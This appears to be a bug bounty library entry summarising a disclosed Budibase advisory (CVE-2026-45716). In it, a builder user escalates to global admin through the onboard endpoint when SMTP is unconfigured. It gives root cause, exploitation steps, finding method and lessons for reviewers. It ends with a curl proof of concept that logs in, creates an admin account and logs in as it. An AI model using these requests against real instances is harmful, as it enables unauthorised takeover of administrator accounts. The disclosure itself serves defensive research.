# Budibase: Builder-to-Admin Privilege Escalation via onboardUsers Endpoint Without SMTP Configuration

Builder-level users on self-hosted Budibase without SMTP could POST to /api/global/users/onboard with admin:true and receive a working global admin password.

- Payout: Research
- Severity: high
- Program: Budibase
- Found by: offset
- Disclosed: 2026-05-18
- CVE: CVE-2026-45716
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-c54j-xp92-wh28
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-c54j-xp92-wh28
- Tags: area:web domain:api domain:web impact:ato impact:privesc kind:research platform:ghsa sev:high technique:source-review vuln:access-control vuln:auth-bypass vuln:privilege-escalation

**Target:** POST /api/global/users/onboard worker API endpoint
**Root cause:** The onboardUsers route uses builderOrAdmin middleware instead of adminRoutes, and when SMTP is unconfigured it skips the invite flow and passes attacker-supplied admin/builder fields straight into bulkCreate, returning the generated password.
**Steps:**
1. Authenticate as a builder user via `POST /api/global/auth/default/login` and save the session cookie.
2. Send `POST /api/global/users/onboard` with body `[{"email":"pwned-admin@attacker.com","userInfo":{"admin":{"global":true}}}]` using the builder cookie.
3. Read the generated 12-char password from the `successful[].password` field in the response.
4. Log in as the new admin via `POST /api/global/auth/default/login` with that email and password.
**How found:** Compared the route registration of onboardUsers (builderOrAdminRoutes) against the admin-only invite/inviteMultiple endpoints, then traced the controller's no-SMTP branch and the workspaceBuilderOrAdmin middleware fall-through for worker requests lacking a workspaceId.
**Exploitation:** A builder authenticates normally, then calls the onboard endpoint with an arbitrary email and admin:true in userInfo. Because no SMTP is configured, the controller generates a password, creates the user via bulkCreate with the attacker-chosen role, and echoes the password back in the response, giving immediate global admin access.
**Escalation:** Builder session escalates to global admin, granting access to all apps, data sources, user management and platform configuration; the created account blends in as a legitimately onboarded user.
**Insight:** When an endpoint has two code paths (email-configured vs not), check whether the authorization middleware was chosen for the stricter path only; also diff sibling routes doing the same operation (invite vs onboard) for mismatched middleware, and check whether role fields in the body are validated by the Joi schema.

## Proof of concept (copied exactly from the original report)

**Builder creates global admin via onboard endpoint**

```
curl -s -X POST 'http://localhost:10000/api/global/users/onboard' \
  -H 'Content-Type: application/json' \
  -b cookies.txt \
  -d '[{"email":"pwned-admin@attacker.com","userInfo":{"admin":{"global":true}}}]'
```

**Builder login to obtain session cookie**

```
curl -s -c cookies.txt -X POST 'http://localhost:10000/api/global/auth/default/login' \
  -H 'Content-Type: application/json' \
  -d '{"username":"builder@example.com","password":"builderpassword"}'
```

**Login as newly created admin**

```
curl -s -X POST 'http://localhost:10000/api/global/auth/default/login' \
  -H 'Content-Type: application/json' \
  -d '{"username":"pwned-admin@attacker.com","password":"<password-from-step-2>"}'
```

